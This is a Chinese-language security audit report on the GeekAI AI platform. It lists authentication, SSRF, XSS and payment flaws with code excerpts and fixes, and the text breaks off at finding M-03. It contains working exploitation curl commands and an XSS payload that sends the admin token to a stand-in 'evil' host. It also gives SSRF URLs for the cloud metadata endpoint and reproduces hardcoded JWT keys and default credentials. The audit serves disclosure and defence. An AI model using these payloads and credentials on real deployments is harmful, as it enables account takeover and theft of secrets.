GeekAI-安全审计报告

51次阅读
没有评论

GeekAI 代码安全审计报告

项目 内容
审计对象 /geekai
项目名称 GeekAI — 一站式 AI 创意生产力平台(v4.3.0,Apache-2.0)
代码来源 Gitee blackfox/geekai(含 database/、docker/ 初始化数据;本次审计树 HEAD 3e66c5ac,工作区干净)
审计日期 2026-09-09
审计方式 白盒静态审计(read-only):源码走查 + 调用链追踪 + 关键路径交叉验证(3 个并行深度审计:支付/订单、文件上传与存储、前端)
技术栈 后端 Go 1.24 + Gin + GORM/MySQL + Redis + LevelDB;前端 Vue3 + Vite + Element Plus/Vant;Electron 桌面端
审计范围 api/(约 200 个 Go 文件 / 2.9 万行)、web/src/(142 个 Vue 组件)、docker/、database/、根目录配置文件
未覆盖 运行时/黑盒渗透、依赖 CVE 自动扫描(建议补跑 govulncheck、npm audit)、第三方服务侧配置

结论速览:当前代码不建议直接暴露在公网生产环境。 存在多个未授权即可利用的严重问题:管理后台接口大面积缺失鉴权、系统集成密钥可被匿名读取、仓库内置默认凭据、客户端可指定 user_id 冒充他人、前端 Markdown 渲染存在可升级为管理员接管的存储型 XSS。支付侧还存在金额不校验、入账非幂等等资金风险。修复后仍需补充速率限制、验证码生命周期、密钥轮换、出网白名单等基础加固。


1. 风险统计

等级 数量 说明
🔴 严重 (Critical) 7 未授权即可造成数据泄露、资金/算力损失或管理员接管
🟠 高危 (High) 11 需要普通账号或特定条件,可造成账号接管 / SSRF / 越权 / 资金损失
🟡 中危 (Medium) 16 需组合利用或特定部署条件,影响机密性/完整性/可用性
🔵 低危/信息 (Low/Info) 15 加固项与最佳实践

漏洞清单

编号 等级 漏洞 位置(入口)
C-01 🔴 严重 多个管理后台接口完全未鉴权(可读写订单/商品/兑换码/菜单/统计) api/handler/admin/*
C-02 🔴 严重 匿名可读取全部系统集成密钥(支付私钥、OSS/SMS/SMTP、AI Key) GET /api/config/get
C-03 🔴 严重 仓库内置默认管理员/用户凭据与 JWT 签名密钥 docker/conf/config.toml、database/*.sql、web/.env.development
C-04 🔴 严重 聊天接口信任客户端 user_id,可冒充任意用户、盗刷其算力、写入其会话 POST /api/chat/message
C-05 🔴 严重 未授权导出/创建兑换码,免费领取算力并窃取全部卡密 /api/admin/redeem/*
C-06 🔴 严重 前端 Markdown html:true + v-html 无消毒,用户可控内容可在管理后台执行脚本 web/src/views/admin/records/*
C-07 🔴 严重 微信登录回调未验签,可伪造任意 openid 登录 POST /api/user/login/callback
H-01 🟠 高危 匿名开放代理 SSRF:/api/download?url= 可读取内网/云元数据 api/handler/net_handler.go
H-02 🟠 高危 聊天文件解析 / PPT 导入 SSRF,内网内容可回显给攻击者 chat_handler.go、ppt_task_handler.go
H-03 🟠 高危 验证码永久有效 + 无频控 + 无尝试限制 → 爆破重置任意账号密码 sms_handler.go、user_handler.go
H-04 🟠 高危 用户 JWT 存放于 localStorage,与 C-06 组合导致账号接管 web/src/store/session.js
H-05 🟠 高危 上传无扩展名白名单,.html/.svg 可写入 /static 形成存储型 XSS utils/upload.go、net_handler.go
H-06 🟠 高危 /api/function/image3 信任请求体 user_id,消耗他人算力 api/handler/function_handler.go
H-07 🟠 高危 邀请码可自邀刷算力 + 注册无频控/无验证码 user_handler.go、invite_handler.go
H-08 🟠 高危 密码哈希无工作因子(SHA3 单轮),盐/验证码用 math/rand utils/strings.go
H-09 🟠 高危 即梦/视频任务 SSRF:audio_url、video_url、params.input_reference 服务端任意拉取 jimeng_handler.go、sora_adapter.go
H-10 🟠 高危 支付回调不校验实付金额与订单金额是否一致 → 金额篡改 api/handler/payment_handler.go:345-401
H-11 🟠 高危 支付成功入账非原子/非幂等 → 重复加算力 payment_handler.go:345-401、user_service.go:23-52
M-01 🟡 中危 未授权读取聊天历史/详情(越权,chat_id 由前端 Math.random 生成) GET /api/chat/history、/detail
M-02 🟡 中危 MJ 任务删除/发布按查询参数 user_id 鉴权(IDOR) api/handler/mj_handler.go
M-03 🟡 中危 全站几乎无速率限制,登录/短信/注册可被暴力破解与短信轰炸 全局
M-04 🟡 中危 Gin 默认信任所有代理,X-Forwarded-For 可伪造以绕过 IP 限流 core/app_server.go
M-05 🟡 中危 支付网关 TLS 关闭证书校验 + 商户密钥经 URL 明文传输 service/payment/epay_service.go
M-06 🟡 中危 算力增减用进程内互斥锁 + 先查后改,多副本下存在竞态/透支 service/user_service.go
M-07 🟡 中危 缩略图中间件路径穿越 + 负值/超大尺寸内存 DoS(可匿名) core/middleware/thumb.go
M-08 🟡 中危 PPT 本地文件映射 filepath.Join 可路径穿越(潜在任意文件读取) service/ppt/export.go
M-09 🟡 中危 ?token= 直接写入登录态(会话固定/令牌经 URL 泄露) web/src/views/Login.vue
M-10 🟡 中危 任意 URL 无沙箱 iframe + 支付/菜单 URL 直接跳转 ExternalPage.vue 等
M-11 🟡 中危 用户上传接口无大小限制,可耗尽磁盘 api/handler/net_handler.go
M-12 🟡 中危 LocalStorage.Delete 未限定目录,潜在任意文件删除 api/service/oss/localstorage.go
M-13 🟡 中危 支付宝回调未验签,且查询响应也未开启验签(依赖 TLS) payment_handler.go:404-427、alipay_service.go:46-92
M-14 🟡 中危 金额用 float64 存储、微信金额 int(amount*100) 截断 → 少付多得 store/model/{product,order}.go、payment_handler.go:221
M-15 🟡 中危 下单不校验商品启用状态与价格边界 payment_handler.go:186-206
M-16 🟡 中危 兑换码核销与加算力不在同一事务,可重复兑换 redeem_handler.go:76-98、user_service.go:27
L-01 🔵 低危 JWT 无标准 exp/iat,v3/v5 混用,checkAuth 不校验 Redis 会话 core/middleware/auth.go、function_handler.go
L-02 🔵 低危 AES-CBC 固定 IV(key 前 16 字节)且无完整性校验(当前为死代码) utils/crypto.go
L-03 🔵 低危 启动时向外部上报主机指纹(HostID) core/app_server.go
L-04 🔵 低危 状态变更接口使用 GET(remove/clear/publish/logout) 多处
L-05 🔵 低危 雪花算法 workerID=0,订单号含时间戳、可枚举 service/snowflake.go
L-06 🔵 低危 默认配置未生成 AdminSession,缺失时管理员 JWT 密钥为空 core/config.go
L-07 🔵 低危 订单查询接口未按用户过滤 api/handler/order_handler.go
L-08 🔵 低危 依赖版本陈旧(axios 0.27.2 等) web/package.json、api/go.mod
L-09 🔵 低危 Docker 编排暴露 MySQL/Redis/API 端口并使用仓库内硬编码口令 docker/docker-compose.yaml
L-10 🔵 低危 前端反向标签劫持、无 CSP、管理员路由仅前端守卫 web/src/**
L-11 🔵 低危 下载临时文件使用可预测路径且从不清理 utils/file.go
L-12 🔵 低危 每日签到「先查后写」竞态,可重复领取 user_handler.go:752-775
L-13 🔵 低危 各任务失败退款循环非幂等,可能重复退算力 image/mj/video/suno/jimeng 服务
L-14 🔵 低危 订单 ProductId 从未写入,销量统计失效 payment_handler.go:325-335、:394-395
L-15 🔵 低危 算力日志 amount 为 smallint 可能溢出;SyncOrders 超时硬编码与配置不一致 store/model/power_log.go、payment_handler.go:117

2. 严重漏洞详情

C-01 管理后台接口大面积缺失鉴权 🔴

位置:api/handler/admin/ 下 7 个 handler 的 RegisterRoutes() 未挂载 AdminAuthMiddleware:

文件 未受保护的路由前缀 影响
dashboard_handler.go:32-35 /api/admin/dashboard/stats 泄露用户数、订单数、收入、最近订单/用户
order_handler.go:33-38 /api/admin/order/list|remove|clear 读取全部订单(含用户名、金额、支付渠道)、删除/清空订单
product_handler.go:33-40 /api/admin/product/save|list|enable|sort|remove 任意修改商品价格与赠送算力、删除商品
redeem_handler.go:33-40 /api/admin/redeem/list|create|set|remove|export 读取/导出全部兑换码、批量创建兑换码(见 C-05)
menu_handler.go:30-36 /api/admin/menu/save|list|enable|sort|remove 篡改站点菜单(挂马/钓鱼/删站)
jimeng_handler.go:39-45 /api/admin/jimeng/* 读取任务、覆盖即梦 AI 配置(AccessKey/SecretKey)
power_log_handler.go:32-36 /api/admin/powerLog/list 读取全站算力流水

证据(对比写法差异):

// api/handler/admin/redeem_handler.go:33  —— 没有任何 Use(...) 鉴权
func (h *RedeemHandler) RegisterRoutes() {
    group := h.App.Engine.Group("/api/admin/redeem/")
    group.GET("list", h.List)
    group.POST("create", h.Create)
    group.POST("set", h.Set)
    group.GET("remove", h.Remove)
    group.POST("export", h.Export)
}

// api/handler/admin/user_handler.go:45-48  —— 正确写法(对照组)
group.Use(middleware.AdminAuthMiddleware(h.App.Config.AdminSession.SecretKey, h.App.Redis))

经 grep -rn "AdminAuthMiddleware" 全量核对:这 7 个文件中没有任何 AdminAuthMiddleware、GetAdminId 或等价内部校验;core/app_server.go:47-49 只装了 ThumbMiddleware、ParameterHandlerMiddleware、errorHandler,main.go 也没有对 /api/admin 的全局守卫;Nginx(docker/conf/nginx/conf.d/geekai.conf:28-39)对 /api/ 也不做鉴权。已确认该问题存在于上游 Gitee 主分支,非本地改动。

利用示例(无需任何凭据):

# 读取全站经营数据
curl http://target:5678/api/admin/dashboard/stats
# 读取全部订单
curl -X POST http://target:5678/api/admin/order/list -H 'Content-Type: application/json' -d '{"page":1,"page_size":100}'
# 把某个套餐改成 0.01 元 / 100 万算力
curl -X POST http://target:5678/api/admin/product/save -H 'Content-Type: application/json' \
     -d '{"id":1,"name":"超值套餐","price":0.01,"power":1000000,"enabled":true}'
# 清空全部订单(破坏数据)
curl http://target:5678/api/admin/order/clear

修复:为每个 /api/admin/* 路由组统一挂载 AdminAuthMiddleware;更稳妥的做法是在 core/app_server.go 中对 /api/admin 前缀注册全局中间件,再对 login/logout 显式放行。同时为写操作增加超级管理员二次校验与审计日志,并补一个「无 token 访问 /api/admin/* 应返回 401」的自动化测试。


C-02 匿名读取全部系统集成密钥 🔴

位置:api/handler/config_handler.go:38-44(公开路由)、:47-74(读取逻辑)

func (h *ConfigHandler) RegisterRoutes() {
    group := h.App.Engine.Group("/api/config/")
    group.GET("get", h.Get)                 // 无需授权
    group.GET("oss/thumb", h.GetOssThumbTemplate)
}

func (h *ConfigHandler) Get(c *gin.Context) {
    key := c.Query("key")
    ...
    // 仅对微信公众号配置做脱敏
    if key == types.ConfigKeyWxGzh {
        delete(value, "secret"); delete(value, "token"); delete(value, "encoding_aes_key")
    }
    resp.SUCCESS(c, value)                  // 其余配置原样返回
}

配置键常量(core/types/config.go:105-121)包含 payment、oss、sms、smtp、wx_login、captcha、jimeng、moderation。对应结构体均含明文密钥:

  • core/types/payment.go:14 PrivateKey(支付宝应用私钥)、:33 PrivateKey/ApiV3Key(微信商户私钥/APIv3 密钥)、:50 PrivateKey(易支付商户密钥)
  • core/types/oss.go:21-22 等:MinIO/七牛/阿里云/腾讯云 AccessKey/AccessSecret
  • core/types/jimeng.go:6-9:即梦 AccessKey/SecretKey/ApiKey
  • core/types/sms.go、core/types/smtp 相关:短信/邮件口令

利用:

curl 'http://target:5678/api/config/get?key=payment'   # 拿到支付宝/微信/易支付私钥
curl 'http://target:5678/api/config/get?key=oss'       # 拿到对象存储 AK/SK
curl 'http://target:5678/api/config/get?key=jimeng'    # 拿到火山引擎 AK/SK
curl 'http://target:5678/api/config/get?key=smtp'      # 拿到邮箱口令

影响:可直接操作受害者的支付账户、云存储、短信/邮件通道与 AI 账号,造成资金损失、数据泄露与冒名发送。属于可匿名触发的最高优先级问题。

修复:/api/config/get 改为白名单——仅允许前端渲染真正需要的 system/notice/agreement/privacy/mark_map 等非敏感键,且对返回字段做显式白名单;支付/OSS/SMS/SMTP/AI 等敏感配置只能通过已鉴权的管理接口读取,并对敏感字段做掩码(如 ****abcd)。已泄露的密钥必须立即轮换。


C-03 仓库内置默认凭据与 JWT 签名密钥 🔴

位置与证据:

  1. 默认管理员(database/geekai_plus-v4.2.6.sql:74、docker/data/mysql/init.d/geekai_plus.sql:50):
INSERT INTO `geekai_admin_users` (...) VALUES
(1, 'admin', '6d17e80c87d209efb84ca4b2e0824f549d09fac8b2e1cc698de5bb5e1d75dfd0', 'mmrql75o', 1, ...);

已实测验证:SHA3-256("admin123" + "mmrql75o") 等于该哈希,即 默认口令 admin / admin123。同时 web/.env.development:3-6 明示 VITE_ADMIN_USER=admin、VITE_ADMIN_PASS=admin123,登录页会预填。

  1. 默认普通用户:18888888888 / 12345678(web/.env.development + SQL 种子数据实测一致)。

  2. JWT 签名密钥与数据库/Redis 口令硬编码在仓库中(docker/conf/config.toml、api/config.sample.toml):

[Session]
  SecretKey = "azyehq3ivunjhbntz78isj00i4hz2mt9xtddysfucxakadq4qbfrt0b7q3lnvg80"
[AdminSession]
  SecretKey = "wr1uzwz2meai4z9j0e0tsyf6x523ui6zpnyaim4x2x37meakv13349llqpipyk40"
[Redis]
  Password = "mhSCk0NheGhmtsha"

docker/docker-compose.yaml:9,28 的 MySQL/Redis 口令与之一致,且默认映射到宿主机 3307/6380,API 5678、Web 8080 也直接对外。

影响:由于密钥公开,攻击者可自行用 Session.SecretKey/AdminSession.SecretKey 签发任意 user_id 的 JWT。但需注意:鉴权中间件还会校验 Redis 中是否存在对应会话键(users/<id>、admin/<id>),因此伪造 token 要真正生效,需先通过 C-01 等途径向 Redis 写入该键,或直接使用默认口令登录。即便存在这一层缓解,默认口令 + 公开密钥 + 暴露端口的组合已足以在真实部署中接管系统。

修复:首次启动强制引导管理员改密;安装脚本生成随机密钥并写入私有配置(不要入库、不要进版本库);Docker 端口默认不对外映射或绑定 127.0.0.1;config.sample.toml 用占位符而非真实密钥;.env.* 移除任何账号口令。


C-04 聊天接口信任客户端 user_id(水平越权 / 算力盗刷)🔴

位置:api/handler/chat_handler.go

// :52  请求体直接包含 user_id
type ChatInput struct {
    UserId  uint   `json:"user_id"`
    ChatId  string `json:"chat_id"`
    ...
}

// :131  并发锁也按客户端传入的 user_id 加锁
if !h.userLocks.TryLock(input.UserId) { ... }

// :194-196  按客户端传入的 user_id 从数据库加载用户
func (h *ChatHandler) sendMessage(ctx context.Context, input ChatInput, c *gin.Context) error {
    var user model.User
    res := h.DB.Model(&model.User{}).First(&user, input.UserId)
    ...
}

// :723-741  聊天记录也写入该 user_id
chatItem.UserId = userVo.Id

整个链路从未使用鉴权中间件写入的 types.LoginUserID(h.GetLoginUserId(c)),而 input.UserId 完全来自客户端 JSON。

利用:任意注册用户构造 {"user_id": <受害者ID>, "chat_id": "<受害者会话>", "prompt": "..."}:

  • 以受害者身份发起对话、扣减受害者算力(:720 subUserPower);
  • 把新消息写入受害者的会话(:723),结合 M-01 可读取;
  • 用 user_id=1 触发并发锁,使受害者持续无法对话(DoS)。

修复:服务端一律以 h.GetLoginUserId(c) 为准,忽略请求体中的 user_id;ChatId 必须校验 user_id 归属。


C-05 未授权导出/创建兑换码,免费领取算力 🔴

位置:api/handler/admin/redeem_handler.go:33-40(无鉴权)、:94-150(导出)、:152-195(创建)、:197-215(任意列改写)

Export 会把数据库中全部兑换码(含未使用的)导出为 CSV,vo.Redeem 直接暴露 Code(api/store/vo/redeem.go:3-12):

for _, item := range items {
    records = append(records, []string{item.Name, item.Code, fmt.Sprintf("%d", item.Power), ...})
}

Set 更可改写任意列(Update(data.Filed, data.Value),GORM 会转义标识符,非 SQLi,但可把 redeemed_at 重置为 0 使卡密可重复使用)。攻击路径:

  1. POST /api/admin/redeem/create 批量创建任意面额兑换码;
  2. GET /api/admin/redeem/list 或 POST /api/admin/redeem/export 读取他人已生成但尚未使用的卡密;
  3. 以普通用户身份 POST /api/redeem/verify 逐一兑换(api/handler/redeem_handler.go:46),获得免费算力;
  4. 或用 POST /api/admin/redeem/set 把已有卡密的 power 改成任意值。

修复:同 C-01(补鉴权);兑换码导出需二次授权并留痕;卡密落库前加密/哈希、导出时掩码;Set 改为字段白名单。


C-06 前端 Markdown 渲染存储型 XSS(可升级为管理员接管)🔴

位置:web/src/** 中所有 markdown-it 实例均配置 html: true,并直接交给 v-html,全仓库不存在任何消毒库(DOMPurify 零命中)。

用户侧:

<!-- web/src/components/ChatReply.vue:12 -->
v-html="md.render(processContent(data.content.text))"
// web/src/components/ChatReply.vue:118-121
const md = new MarkdownIt({ breaks: true, html: true, linkify: true, typographer: true, ... })
// web/src/utils/libs.js:185-223  processContent() 只做图片链接与 <think> 替换,不做任何转义

管理后台(关键升级点):

<!-- web/src/views/admin/records/ChatList.vue:179 -->
<div class="chat-line" v-html="dialogContent"></div>
// web/src/views/admin/records/ChatList.vue:321-346
const md = MarkdownIt({ breaks: true, html: true, linkify: true, typographer: true, ... })
const showContent = (content) => { dialogContent.value = md.render(processContent(content)) }
<!-- web/src/views/admin/records/Suno.vue:132 / :178 -->
<div class="chat-line" v-html="lyrics"></div>
<div class="detail-value" v-html="md.render(currentDetail.prompt)" />

ChatList.vue 渲染的是普通用户提交的聊天内容,Suno.vue 渲染的是用户提交的歌词/提示词,均无需经过 LLM。

攻击链(严重):

  1. 攻击者注册普通账号;
  2. 发送一条内容为 <img src=x onerror="fetch('https://evil/?'+encodeURIComponent(localStorage['GeekAI_Admin-Authorization']))"> 的聊天消息,或提交同名 Suno 任务;
  3. 管理员在后台「对话管理」点击该记录 / 「Suno 管理」查看歌词;
  4. 脚本以管理员上下文执行,读取 localStorage 中的 GeekAI_Admin-Authorization(web/src/store/session.js:10,32)并外传;
  5. 攻击者用该 token 调用 /api/admin/*,完成管理员接管(用户、API Key、支付/短信/邮件配置全部可控)。

用户侧另有 AI 回复经 SSE 直接渲染的路径(web/src/views/ChatPlus.vue:822),可被提示注入触发;/chat/export 为公开路由(web/src/router.js:123-128)且同样 html:true,可扩大影响面。

修复:引入 DOMPurify 对所有 v-html 的 Markdown 输出消毒(DOMPurify.sanitize(md.render(x)));或将 html 设为 false 并把用户内容一律当纯文本;服务端对存储内容做输出编码;部署严格 CSP(script-src 'self',禁用 unsafe-inline)。


C-07 微信登录回调未验签,可伪造 openid 登录 🔴

位置:api/handler/user_handler.go:78(公开路由)、:447-470(回调)、:278-320(轮询换取 token)

// :78  公开注册
group.POST("login/callback", h.WxLoginCallback)

// :447-470  直接采信客户端提交的 openid,无任何签名/来源校验
func (h *UserHandler) WxLoginCallback(c *gin.Context) {
    var data struct { OpenID string `json:"openid"`; State string `json:"state"` }
    ...
    status := service.LoginStatus{ Status: service.LoginStatusSuccess, OpenID: data.OpenID }
    h.wxLoginService.SetLoginStatus(data.State, status)
    resp.SUCCESS(c, status)
}

随后 GET /api/user/login/status?state=<自己创建的 state> 会为该 openid 对应的用户签发 JWT(不存在则自动创建账号)。

利用:

STATE=$(curl -s 'http://target:5678/api/user/login/qrcode' | jq -r '.data.state')
curl -s -X POST 'http://target:5678/api/user/login/callback' \
     -H 'Content-Type: application/json' -d "{\"openid\":\"<受害者openid>\",\"state\":\"$STATE\"}"
curl -s "http://target:5678/api/user/login/status?state=$STATE"   # 返回受害者 token

若攻击者掌握任意用户的 openid(例如通过数据泄露、日志、公开种子数据),即可直接登录为该用户。

修复:回调必须由服务端验签(微信/第三方登录服务签名)或改为服务端到服务端回调并校验来源;state 与 openid 的绑定必须在服务端完成,且只能被消费一次。


3. 高危漏洞详情

H-01 匿名开放代理 SSRF:/api/download?url= 🟠

位置:api/handler/net_handler.go:49(公开路由)、:156-186

h.App.Engine.GET("/api/download", h.Download)     // 无鉴权
...
req, _ := http.NewRequest("GET", c.Query("url"), nil)
client := &http.Client{}                          // 默认跟随重定向,无主机/IP 白名单,无超时,无大小限制
r, err := client.Do(req)
io.Copy(c.Writer, r.Body)                         // 原样回显

利用:/api/download?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/、http://127.0.0.1:3306、http://geekai-redis:6379 等可探测/读取内网服务与云凭证;亦可作为开放代理隐藏攻击来源、消耗带宽。重定向可达内网,绕过简单的字符串校验。

修复:禁止任意 URL 下载;如业务必需,做协议白名单(仅 https)、解析后 IP 黑名单(回环/私网/链路本地/ULA/元数据网段)、逐跳校验重定向、限制响应大小与超时;并加登录鉴权。

H-02 聊天文件解析 / PPT 导入 SSRF 🟠

位置:api/handler/chat_handler.go:345-366、api/handler/ppt_task_handler.go:218-235、api/utils/file.go:18-52,88-154、api/utils/net.go:107+

// chat_handler.go:355-362
} else if isTextURL(file.URL) {                       // 仅校验 URL 字符串后缀是 .txt/.doc/.docx/.pdf
    content, err := utils.ReadFileContent(file.URL, h.App.Config.TikaHost)
    fileContents = append(fileContents, fmt.Sprintf("%s 文件内容:%s", file.Name, content))
}
...
// :368-369  文件内容被拼进 prompt,模型回答会带回内容
finalPrompt = fmt.Sprintf("请根据提供的文件内容信息回答问题... %s ... 问题:%s", strings.Join(fileContents, "\n"), input.Prompt)

file.URL 完全来自请求体 input.Files。后缀校验可被绕过:path.Ext 作用于原始 URL 字符串,http://169.254.169.254/latest/meta-data/iam/security-credentials/?x=.pdf 的后缀被识别为 .pdf,而真实请求路径就是元数据路径;攻击者服务器 302 跳转到内网同样可绕过。

利用:提交 files:[{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/?x=.pdf","name":"a.txt"}],再让模型「原样复述文件内容」,即可把内网响应带回。PPT 的 CreateTaskFromFile(ppt_task_handler.go:121)同理。

修复:与 H-01 相同的主机/IP 白名单 + 逐跳校验;优先只允许访问本站对象存储的已上传文件;下载大小限制并清理临时文件。

H-03 验证码永久有效 + 无频控 → 爆破重置任意账号 🟠

位置:api/handler/sms_handler.go:51,79,115、api/handler/user_handler.go:623-676

// sms_handler.go:51  公开接口
group.POST("code", h.SendCode)

// sms_handler.go:79  验证码由 math/rand 生成(非密码学安全)
code := utils.RandomNumber(6)

// sms_handler.go:115  过期时间 0 = 永不过期
h.redis.Set(c, CodeStorePrefix+data.Receiver, code, 0)

ResetPass(:623)校验验证码后重置密码,无图形/滑块验证码、无发送频率限制、无失败次数限制,且验证码仅在成功时删除(:670)。全局唯一的限流中间件只挂在 api/handler/prompt_handler.go:49。

利用:对 /api/user/resetPass 用 6 位数字空间(10⁶)暴力枚举,即可重置任意已知邮箱/手机号账号的密码;同时 /api/sms/code 可被用于短信/邮件轰炸与费用消耗。

修复:验证码设置 5–10 分钟 TTL 并在校验失败/成功后立即删除;同一账号/IP/接收者做发送与校验频控;校验失败计数超限锁定;重置密码流程加人机验证;验证码改用 crypto/rand。

H-04 用户 JWT 存放于 localStorage 🟠

位置:web/src/store/session.js:9-34(good-storage 默认 localStorage)、web/src/utils/http.js:46-47

用户 token 与管理员 token 都以 GeekAI_Authorization / GeekAI_Admin-Authorization 明文存于 localStorage,任意同源脚本可读,与 C-06/H-05 组合即为账号接管。

修复:改为服务端下发的 HttpOnly; Secure; SameSite=Lax/Strict Cookie,并配套 CSRF 防护;或至少缩短有效期、分离管理端域。

H-05 上传无扩展名白名单,静态目录直接对外 🟠

位置:api/utils/upload.go:23-38、api/service/oss/localstorage.go:39-63、api/core/app_server.go:51

// upload.go:33-37  仅保留原始扩展名,无任何白名单/内容类型校验
if ext == "" { ext = filepath.Ext(filename) }
return fmt.Sprintf("%s/%d%s", dir, now.UnixMicro(), ext), nil

默认本地存储 BasePath=./static/upload(core/config.go:37-40),而 app_server.go:51 以 Engine.Static("/static", StaticDir) 对外服务,http.FileServer 按扩展名推断 Content-Type(.html→text/html、.svg→image/svg+xml);Nginx 也未加 X-Content-Type-Options: nosniff 或 CSP。任意登录用户上传 x.html/x.svg(内含脚本)后,把 /static/upload/... 链接发给受害者/管理员即触发存储型 XSS,脚本可读取 localStorage 中的用户与管理员 token。

修复:扩展名白名单 + 服务端嗅探真实类型 + 图片重编码;上传目录不与应用同源服务(独立域名),或统一加 Content-Disposition: attachment 与 nosniff;限制文件大小(见 M-11)。

H-06 /api/function/image3 信任请求体 user_id 🟠

位置:api/handler/function_handler.go:180-254

// :201  按请求体里的 user_id 加载用户
res = h.DB.Where("id = ?", params["user_id"]).First(&user)
...
// :243  扣减的是该用户的算力
err = h.userService.DecreasePower(user.Id, job.Power, ...)

checkAuth(:84-109)只验证 token 有效,未将其与 user_id 绑定。任意登录用户传入他人 user_id 即可消耗其算力、以他人身份生成图片。

修复:使用鉴权上下文中的用户 ID;checkAuth 增加 Redis 会话校验。

H-07 邀请码自邀刷算力 + 注册无频控 🟠

位置:api/handler/user_handler.go:97-188(注册)、:366-402(邀请奖励)、api/store/model/invite_code.go

createNewUser 对邀请码只做「存在即奖励」,不校验是否启用、是否有使用上限、邀请人是否为本人:

// :377-383
h.DB.Model(&model.InviteCode{}).Where("code = ?", code).UpdateColumn("reg_num", gorm.Expr("reg_num + ?", 1))
if h.App.SysConfig.Base.InvitePower > 0 {
    err := h.userService.IncreasePower(inviteCode.UserId, h.App.SysConfig.Base.InvitePower, ...)

而 Register 在 reg_way 非 email/mobile 时完全跳过验证码(:136-152),且无速率限制。攻击者可用自己的邀请码批量注册小号,把 InvitePower 反复刷到主账号。

修复:邀请码增加启用状态、使用上限与「不可自邀」校验;注册增加人机验证与 IP/设备频控;对异常邀请速率告警。

H-08 密码哈希无工作因子、随机数非密码学安全 🟠

位置:api/utils/strings.go:93-97、:26-43

func GenPassword(pass string, salt string) string {
    hash := sha3.Sum256([]byte(pass + salt))     // 单轮快速哈希,无 bcrypt/argon2 工作因子
    return fmt.Sprintf("%x", hash)
}

func RandString(length int) string {             // math/rand + 时间种子
    r := rand2.New(rand2.NewSource(time.Now().UnixNano()))
    ...
}
func RandomNumber(bit int) int {                 // 丢弃了 NewSource 的返回值,实际用全局源
    rand2.NewSource(time.Now().UnixNano())
    return rand2.Intn(...)
}

盐值、邀请码、微信登录 state 均来自 RandString;短信/邮箱验证码来自 RandomNumber。这些都不应使用 math/rand。

修复:口令改用 bcrypt/argon2id(自带盐与工作因子);所有安全随机值改用 crypto/rand。

H-09 即梦/视频任务 SSRF(服务端任意拉取)🟠

位置:api/handler/jimeng_handler.go:319-344、api/utils/media_duration.go:85-113、api/handler/video_handler.go:65-71、api/service/video/adapters/sora_adapter.go:124-139,195-200,279-281

// jimeng_handler.go:AudioURL / VideoURL 来自用户请求
audioDuration, err := utils.AudioDurationFromURL(req.AudioURL)      // :326
videoDuration, err := utils.VideoDurationMP4FromURL(req.VideoURL)   // :337

// media_duration.go:85-113
resp, err := http.DefaultClient.Do(req)     // 默认跟随重定向,无 IP 过滤,io.Copy 无大小上限
// video_handler.go:69  Params 为用户可控 map
Params map[string]any `json:"params"`
// sora_adapter.go:124-136  取 input_reference / images[0] / image
// sora_adapter.go:279-281
func downloadImageBytes(imageURL string) ([]byte, error) {
    body, _, err := utils.FetchURLBytes(context.Background(), imageURL, "", 3*time.Minute, 2, 32<<20)

利用:POST /api/jimeng/task 传 {"task_type":"virtual_human","audio_url":"http://169.254.169.254/..."},或 POST /api/video/create 传 params.input_reference=http://169.254.169.254/...,即可让服务端拉取内网地址(并可能写入临时文件造成磁盘消耗)。

修复:统一封装出网客户端——协议白名单、DNS 解析后拒绝私网/链路本地/元数据地址、逐跳校验重定向、超时与 io.LimitReader;不要接受请求体中的任意 URL。

H-10 支付回调不校验实付金额与订单金额是否一致 🟠

位置:api/handler/payment_handler.go:345-401(paySuccess)、api/service/payment/pay_service.go:38

三个渠道都会填充 OrderInfo.Amount(alipay_service.go:83、wxpay_service.go:135,163、epay_service.go:186),但 paySuccess 只使用 OutTradeNo、PayTime、TradeId,从不比较实付金额与订单金额:

err = h.userService.IncreasePower(order.UserId, remark.Power, model.PowerLog{...})   // :373
...
order.Status = types.OrderPaidSuccess                                                 // :385

加算力用的是订单里服务端存储的 Remark.Power(这点正确),但只要网关允许付款人改动金额(易支付/聚合支付常见,或 M-05 的中间人场景),攻击者就可以开一个高价订单、只付 0.01 元,回调/轮询仍会按全额加算力。

修复:paySuccess 中校验 info.Amount == order.Amount(建议换算为整数分比较),并校验商户号/AppID 与订单渠道一致;不一致直接拒绝并告警。

H-11 支付成功入账非原子 / 非幂等 → 重复加算力 🟠

位置:api/handler/payment_handler.go:345-401、api/service/user_service.go:23-52

h.lock.Lock(); defer h.lock.Unlock()                        // 仅进程内互斥
...
if order.Status == types.OrderPaidSuccess { return nil }    // :356  先查
err = h.userService.IncreasePower(order.UserId, remark.Power, ...) // :373  独立事务提交
...
order.Status = types.OrderPaidSuccess; h.DB.Debug().Updates(&order) // :385-388  后改

「先查状态再加算力再改状态」不是原子操作:若 :388 的状态更新失败、进程在 :373 与 :388 之间崩溃,或部署了多副本同时处理 notify/SyncOrders(:102-171),同一订单会被重复加算力。

修复:用条件更新抢占订单(UPDATE geekai_orders SET status=已支付 WHERE order_no=? AND status<>已支付),仅当 RowsAffected==1 时才加算力,并放在同一数据库事务里;幂等键加唯一约束。


4. 中危漏洞详情

M-01 未授权读取聊天历史/详情(越权)🟡

api/handler/chat_handler.go:98-99 将 detail、history 注册为公开路由;api/handler/chat_item_handler.go:132-161(History)与 :193-223(Detail)仅按 chat_id 查询,不校验归属:

// chat_item_handler.go:132-136
func (h *ChatHandler) History(c *gin.Context) {
    chatId := c.Query("chat_id")
    res := h.DB.Where("chat_id = ?", chatId).Find(&items)   // 无 user_id 过滤

chat_id 由前端 getSessionId() → randString(42) 生成,而 web/src/utils/libs.js:15-24 使用的是 Math.random()(非密码学安全),存在被预测/关联的风险。Update(:71-87)同样只按 chat_id 改标题,可越权改名。

修复:detail/history/update 一律加入 user_id = 当前登录用户 条件;chat_id 改为服务端用 crypto/rand 生成。

M-02 MJ 任务删除/发布按查询参数鉴权(IDOR)🟡

api/handler/mj_handler.go:551-574、:576-588:

userId := h.GetInt(c, "user_id", 0)      // 来自 URL 查询参数,而非登录态
h.DB.Where("id = ? AND user_id = ?", id, userId).First(&job)
...
h.DB.Delete(&job)                        // 删除他人 MJ 任务及其图片

攻击者传入受害者 user_id 即可删除/发布其 MJ 作品。对比 image_handler.go:233-241、suno_handler.go:260-275、video_handler.go:310-331 均正确使用 GetLoginUserId。

修复:改用 h.GetLoginUserId(c)。

M-03 全站几乎无速率限制 🟡

